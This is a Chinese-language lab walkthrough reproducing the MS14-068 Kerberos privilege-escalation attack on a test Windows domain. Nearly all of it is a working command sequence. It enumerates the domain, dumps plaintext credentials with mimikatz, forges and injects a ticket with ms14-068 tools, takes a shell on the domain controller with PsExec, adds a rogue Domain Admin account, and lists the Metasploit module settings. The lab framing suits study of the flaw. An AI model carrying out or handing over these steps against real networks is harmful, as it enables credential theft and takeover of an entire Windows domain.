复现MS14-068

MS14-068

漏洞概述

该漏洞允许黑客提升任意普通用户权限成为域管理员（Domain Admin）身份。也就是说，你在一台普通域用户的机器上利用这个漏洞，那么这个域用户就变成域管理员权限，然后该域用户就可以控制整个域的所有机器了。只要服务器未打ms14-068补丁（KB3011780），在server 2000以上的域控服务器中，都可进行利用。

影响版本：全部版本Windows服务器

环境

域：xxx.local
域控：win server 2008 192.168.254.140
域内主机：win7 192.168.254.143

利用条件

1、获取域普通用户的账号密码
2、获取域普通用户的sid
3、服务器未打KB3011780补丁
4、域控服务器的IP

漏洞利用思路

1、首先利用ms14-068提权工具生成伪造的kerberos协议认证证书（黄金票据）
2、利用mimikatz.exe将证书写入，从而提升为域管理员 
3、测试是否能访问域控C盘目录，能访问则说明提升为域管理员
4、利用PsExec.exe获取域控shell，添加用户并将其加入域管理员组

net config workstation,可知域名和其他信息
nltest /dsgetdc:域名,可知 DC 主机名
whoami /all 查看用户sid

查看当前用户是否为域用户

net user wintext /domain

查看域控是否打ms14-068漏洞补丁

使用systeminfo命令查看所打补丁，发现没有KB3011780，可以利用

获取域控信息

net group “domain controllers” /domain

得到了域名server-2008以及域控的主机名
Ping一下该域控的主机名，以找到域控ip地址
注意：ping的时候去掉主机名后面的 $ 符号

ip 192.168.254.140

通过dir访问域控的共享文件夹，显示拒绝访问

获取当前域机器的域用户名、密码、用户sid等信息

获取用户sid（当前用户是域用户）

whoami /user

获取域内所有用户的 SID：
wmic useraccount get name,sid

不是域用户

用mimikatz 抓取本地的域用户密码

管理员权限运行

输入privilege::debug 权限提升，在输入log 会在当前文件夹下生成后面命令执行的结果方便我们查找数据，最后输入sekurlsa::logonPasswords 抓取密码

会在当前目录生成mimikatz 日志文件

成功获取到明文密码，也获取了域用户sid 和域控主机名

删除系统原有票据

klist查看当前缓存的票据
为了防止影响我们的操作,删除已有的票据 klist purge

生成票据

ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
ms14-068.py -u 域成员@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

会在当前目录生成一个ccache文件

再使用mimikatz将票据（TGT）注入到当前内存中，来伪造kerberos协议认证证书。

kerberos::purge         //清空当前所有凭证
kerberos::list          //查看当前凭证
kerberos::ptc TGT_tidetest@tide.org.ccache   //将票据注入到内存中

成功访问（管理员权限）

可以看到票据里只有我的当前用户

用PsExec.exe工具反弹cmd，获取一个交互式shell

看到域控的ip

添加域管理员

net user linlin 123.com /add /domain
net group “Domain admins” linlin /add /domain

清除则不能访问

Metasploit 中进行测试（扩展后面没搞了）

在 MSF 中，也有一个针对 MS14-068 漏洞利用的模块：

use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

它只需要输入域名、被提权用户的密码、被提权用户、被提权用户的SID，域控制器的IP：

域成员：
域名：
域成员的 sid：
域控制器地址：
域成员的密码：
set domain 
set password 
set user 
set user_sid 
set rhosts 
run

生成

/root/.msf4/loot/20221114105328_default_192.168.254.133_windows.kerberos_896806.bin

在 mimikatz 中输入命令，导出 kirbi 格式的文件：

kerberos::clist "20221114105328_default_192.168.254.133_windows.kerberos_896806.bin" /export